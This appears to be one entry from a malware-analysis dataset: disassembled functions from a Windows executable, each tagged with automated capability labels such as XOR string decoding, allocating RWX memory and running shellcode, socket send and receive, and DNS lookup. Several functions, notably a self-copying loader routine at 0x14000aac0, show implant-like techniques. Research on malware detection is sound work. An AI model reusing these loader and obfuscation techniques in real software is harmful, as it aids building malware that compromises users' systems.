joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a6d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
xor r15d, r15d
mov qword [rbp], r15
lea rdx, [rsp + 0x50]
call fcn.140009ef0
test al, al
je 0x14000a8a5
mov dword [rsp + 0x30], 0xffe3f1aa
mov word [rsp + 0x34], 0xfc
mov byte [rsp + 0x36], 1
mov eax, r15d
nop word [rax + rax]
lea ecx, [rax - 0x7c]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, 5
jb 0x14000a740
mov byte [rsp + 0x36], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0a0
mov rsi, rax
mov dword [rsp + 0x38], 0xe6e2f7aa
mov dword [rsp + 0x3c], 0x100e8fc
mov rdx, r15
nop word [rax + rax]
lea ecx, [rdx - 0x7c]
xor byte [rsp + rdx + 0x38], cl
inc rdx
cmp rdx, 6
jb 0x14000a780
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14000a0a0
mov r14, rax
test rsi, rsi
je 0x14000a8a5
cmp rsi, rax
jae 0x14000a8a5
mov dword [rbp + 0x20], 1
mov dword [rbp + 0x24], 2
mov dword [rbp + 0x28], 4
mov dword [rbp + 0x2c], 8
mov dword [rbp + 0x30], reloc.WS2_32.dll_recv
mov dword [rbp + 0x34], 0x20
mov dword [rbp + 0x38], 0x40
mov dword [rbp + 0x3c], 0x80
mov dword [rbp + 0x40], 0x100
mov dword [rbp + 0x44], 0x200
mov dword [rbp + 0x48], 0x400
mov dword [rbp + 0x4c], 0x80000000
lea rdi, [rbp + 0x20]
mov edx, dword [rsi + 8]
add edx, 0x1000
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x18], rcx
mov qword [rsp + 0x40], rdx
mov dword [rbp + 0x10], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, dword [rdi]
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x18]
call fcn.140009c10
mov edx, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
mov rax, qword [rsp + 0x68]
add rcx, qword [rax + 0x18]
mov qword [rsp + 0x40], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x10], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, dword [rdi]
lea r8, [rbp + 0x18]
lea rdx, [rsp + 0x40]
call fcn.140009c10
add rdi, 4
lea rax, [rbp + 0x50]
cmp rdi, rax
jne 0x14000a811
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14000a8e6
mov rdx, qword [rbp]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a8e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005903c
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140059390
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000a910
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
xor ebx, ebx
mov qword [rbp - 0x20], rbx
lea rdx, [rsp + 0x30]
call fcn.140009ef0
test al, al
je 0x14000aa4e
mov dword [rsp + 0x20], 0xffe3f1aa
mov word [rsp + 0x24], 0xfc
mov byte [rsp + 0x26], 1
mov ecx, ebx
lea eax, [rcx - 0x7c]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 5
jb 0x14000a970
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.14000a0a0
mov rsi, rax
mov dword [rsp + 0x28], 0xe6e2f7aa
mov dword [rsp + 0x2c], 0x100e8fc
mov rdx, rbx
nop word [rax + rax]
lea ecx, [rdx - 0x7c]
xor byte [rsp + rdx + 0x28], cl
inc rdx
cmp rdx, 6
jb 0x14000a9b0
mov byte [rsp + 0x2f], 0
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.14000a0a0
mov rdi, rax
mov dword [rsp + 0x20], 0xf3e7e1aa
mov word [rsp + 0x24], 0xe9
mov byte [rsp + 0x26], 1
nop dword [rax + rax]
lea ecx, [rbx - 0x7c]
xor byte [rsp + rbx + 0x20], cl
inc rbx
cmp rbx, 5
jb 0x14000a9f0
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.14000a0a0
mov rbx, rax
test rsi, rsi
je 0x14000aa4e
cmp rsi, rdi
jae 0x14000aa4e
cmp rdi, rax
jae 0x14000aa4e
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [rdi + 0xc]
mov rcx, qword [rbp + 0x18]
div ecx
test edx, edx
jne 0x14000aa4e
xor edx, edx
mov eax, dword [rbx + 0xc]
div ecx
test edx, edx
jne 0x14000aa4e
mov bl, 1
jmp 0x14000aa50
xor bl, bl
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000aa91
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aa8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005903c
movzx eax, bl
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140059390
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000aac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x14000aac0
push rbx
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rbx, rax
call fcn.14000a910
test al, al
je 0x14000ab74
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.14000a110
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov esi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000ab5d
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x14000a200]
mov rdx, rdi
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.14000a6d0
nop
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000ab50
cmp rbx, 1
jne 0x14000ab68
call fcn.140009980
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
Function at 0x140013994
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x1400139e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400139bc
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x140013a00
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013a4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013a20
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140013a64
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013aae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013a84
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140013ac8
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x140013b14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013af0
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x140013b34
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013b8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013b5f
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140020d64
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140020df5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140020dce
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x140020eb9
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.1400352ac
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x140020dc7
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x1400248ec
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x140024a79
cmp ecx, 0x7c
je 0x140024a79
cmp ecx, 0x29
jne 0x140024966
cmp dword [rdi + 0x1c], 0
jne 0x140024a79
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x140024a92
cmp ecx, 0x5d
jne 0x140024943
test dword [rbx], 0x10000000
je 0x140024aa0
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.140023ee0
mov rcx, rdi
call fcn.1400289b0
mov rcx, rdi
call fcn.140028a24
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x1400248fe
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x14002497d
lea rcx, [rdi + 0x40]
call fcn.140024168
jmp 0x14002494f
cmp ecx, 0x5c
jne 0x1400249cb
mov rcx, rdi
call fcn.1400289b0
test byte [rbx], 0x80
je 0x1400249c1
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x1400249a9
lea rcx, [rdi + 0x40]
call fcn.1400248e0
mov rcx, rdi
call fcn.1400289b0
jmp 0x14002495f
cmp al, 0x42
jne 0x1400249c1
lea rcx, [rdi + 0x40]
call fcn.1400248e0
lea rcx, [rdi + 0x40]
call fcn.14002894c
jmp 0x14002499f
mov rcx, rdi
call fcn.140024abc
jmp 0x140024957
cmp ecx, 0x5b
jne 0x1400249f6
mov rcx, rdi
call fcn.1400289b0
mov rcx, rdi
call fcn.1400254c4
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.1400271a0
jmp 0x140024957
cmp ecx, 0x28
jne 0x140024a2b
mov rcx, rdi
call fcn.1400289b0
mov rcx, rdi
call fcn.1400291d8
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.1400271a0
test bl, bl
je 0x14002495f
jmp 0x140024957
cmp ecx, 0x5e
jne 0x140024a3e
lea rcx, [rdi + 0x40]
call fcn.140023ed4
jmp 0x14002499f
cmp ecx, 0x24
jne 0x140024a51
lea rcx, [rdi + 0x40]
call fcn.140024268
jmp 0x14002499f
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x140024aae
cmp ecx, 0x3f
je 0x140024aae
cmp ecx, 0x7b
je 0x140024aae
cmp ecx, 0x7d
jne 0x140024932
test dword [rbx], 0x10000000
je 0x140024a84
jmp 0x140024943
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.140027194
int3
mov edx, 5
mov rcx, rdi
call fcn.140027194
int3
mov edx, 4
mov rcx, rdi
call fcn.140027194
int3
mov edx, 0xa
mov rcx, rdi
call fcn.140027194
int3
Function at 0x14002a7f4
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
and dword [rax - 0x38], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
mov dword [rax - 0x38], 1
mov rax, qword [rdx + 0x10]
cmp rax, 0xf
jbe 0x14002a860
mov r8b, byte [rsp + 0x60]
mov rdx, rax
call fcn.1400106cc
and qword [rbx + 0x10], 0
mov rax, qword [rdi + 0x10]
xor esi, esi
lea r14d, [rsi - 6]
cmp qword [rdi + 0x18], 0x10
jb 0x14002a878
mov rbp, qword [rdi]
mov rcx, rbp
mov rdi, rbp
jmp 0x14002a87e
mov rbp, rdi
mov rcx, rdi
lea r12, [rax + rcx]
cmp rdi, r12
je 0x14002a9a3
lea r8, [0x14006f950]
shl esi, 8
movzx eax, byte [rbp]
add esi, eax
add r14d, 8
js 0x14002a91b
movsxd r13, esi
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov r15d, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rax, r13
mov rcx, rdi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x14002a8f8
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002a8ed
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14002a911
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.1400037e0
lea r8, [0x14006f950]
sub rdi, 6
sub r15, 1
jne 0x14002a8be
inc rbp
cmp rbp, r12
jne 0x14002a892
cmp r14d, 0xfffffffa
jle 0x14002a9a3
lea ecx, [r14 + 8]
shl esi, 8
movsxd rax, esi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x14002a991
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002a960
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14002a9a3
cmp rcx, qword [rbx + 0x18]
jae 0x14002a98e
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002a986
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x14002a9a3
mov r9b, 0x3d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.1400037e0
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x14002a96b
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14002e2b4
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x14002e2f5
cmp word [rcx], 0x17
jne 0x14002e399
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x50]
mov esi, 0x401
mov r8d, esi
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x50]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x14002e399
lea rax, [rsp + 0x50]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14002e34a
cmp rbx, qword [rdi + 0x18]
ja 0x14002e380
cmp qword [rdi + 0x18], 0x10
mov rsi, rdi
jb 0x14002e366
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], r14b
jmp 0x14002e395
mov r8b, byte [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.1400102e8
mov al, 1
jmp 0x14002e39b
xor al, al
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140059390
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14002e3bc
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x14002e3c8
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14002e41d
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.14002e2b4
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140059390
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x14002e3c8
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x14002e3c8
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14002e41d
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.14002e2b4
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140059390
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret
Function at 0x14004f558
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
xor r15d, r15d
lea r12, [0x140000000]
movzx eax, byte [r15 + r12 + 0x752a0]
mov edi, eax
mov r8d, eax
shr edi, 5
mov r11d, eax
shr r8d, 6
mov ebp, edi
lea edx, [rax + rax]
shr r11d, 7
xor edx, eax
and ebp, 4
mov r10d, edi
mov r9d, r8d
and edi, 1
and r10d, 2
imul ecx, edi, 0x1b000000
and r8d, 1
lea ebx, [rdx + rdx]
and r9d, 2
lea edx, [rdx*4]
xor ebx, eax
xor edx, eax
shl ebx, 0x19
shl edx, 8
mov esi, eax
xor rbx, rcx
mov r14d, eax
imul ecx, r10d, 0x1b000000
xor rbx, rcx
imul ecx, r8d, 0x1b000000
xor rbx, rcx
imul ecx, r9d, 0x1b000000
xor rbx, rcx
imul ecx, ebp, 0x1b000000
xor rbx, rcx
imul ecx, r11d, 0x1b000000
xor rbx, rcx
imul ecx, edi, 0x11b00
xor rdx, rcx
imul ecx, r10d, 0x11b00
xor rdx, rcx
imul ecx, r8d, 0x11b00
xor rdx, rcx
imul ecx, r9d, 0x11b00
xor rdx, rcx
imul ecx, ebp, 0x11b00
xor rdx, rcx
imul ecx, edi, 0x11b0000
or rbx, rdx
lea edx, [rax*8]
xor edx, eax
lea eax, [rax*4]
shl edx, 0x10
xor eax, r14d
xor rdx, rcx
imul ecx, r10d, 0x11b0000
xor rdx, rcx
imul ecx, ebp, 0x11b0000
xor rdx, rcx
imul ecx, edi, 0x11b
or rbx, rdx
lea edx, [rax + rax]
xor rdx, rcx
imul ecx, r10d, 0x11b
xor rdx, rcx
imul ecx, ebp, 0x11b
xor rdx, rcx
imul ecx, r11d, 0x11b
xor rdx, rcx
xor rdx, rsi
or rdx, rbx
shl rdx, 0x20
or rdx, rbx
or rdx, rsi
mov qword [r12 + r15*8 + 0x8f720], rdx
inc r15
cmp r15, 0x100
jl 0x14004f57b
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov byte [0x14008ff21], 1
pop r15
pop r14
pop r12
ret

Function at 0x14004f6e4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r11d, r11d
lea rbx, [0x140000000]
movzx r9d, byte [r11 + rbx + 0x751a0]
mov edx, r9d
shr edx, 7
imul r10d, edx, 0x1b000000
lea r8d, [r9 + r9]
imul ecx, edx, 0x11b
mov eax, r8d
shl eax, 0x18
xor r10, rax
mov eax, r9d
shl eax, 8
or eax, r9d
shl eax, 8
or r10, rax
mov eax, r8d
xor rcx, rax
xor rcx, r9
or rcx, r10
shl rcx, 0x20
or rcx, r10
mov qword [rbx + r11*8 + 0x8ef10], rcx
inc r11
cmp r11, 0x100
jl 0x14004f6f3
and qword [0x14008f718], 0
and qword [0x14008f710], 0
mov rbx, qword [rsp + 8]
mov byte [0x14008ff20], 1
ret
Function at 0x1400511a8
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x140090010]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x14008ff30], ecx
jg 0x14005128a
mov eax, ebx
cmp rbx, rax
jne 0x14005124c
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x14005124c
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x14008ff28]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x1400512cd
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140059390
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.14001a1f8
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140050ed8
lea rdx, [0x140085b98]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x14008ff30]
call fcn.140059630
cmp dword [0x14008ff30], 0xffffffff
jne 0x1400511f4
lea rcx, [0x14008ff28]
call fcn.140050dec
lea rcx, [0x14005d11c]
call fcn.14005926c
nop
lea rcx, [0x14008ff30]
call fcn.1400595c4
jmp 0x1400511f4
mov ecx, eax
call fcn.140051310
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
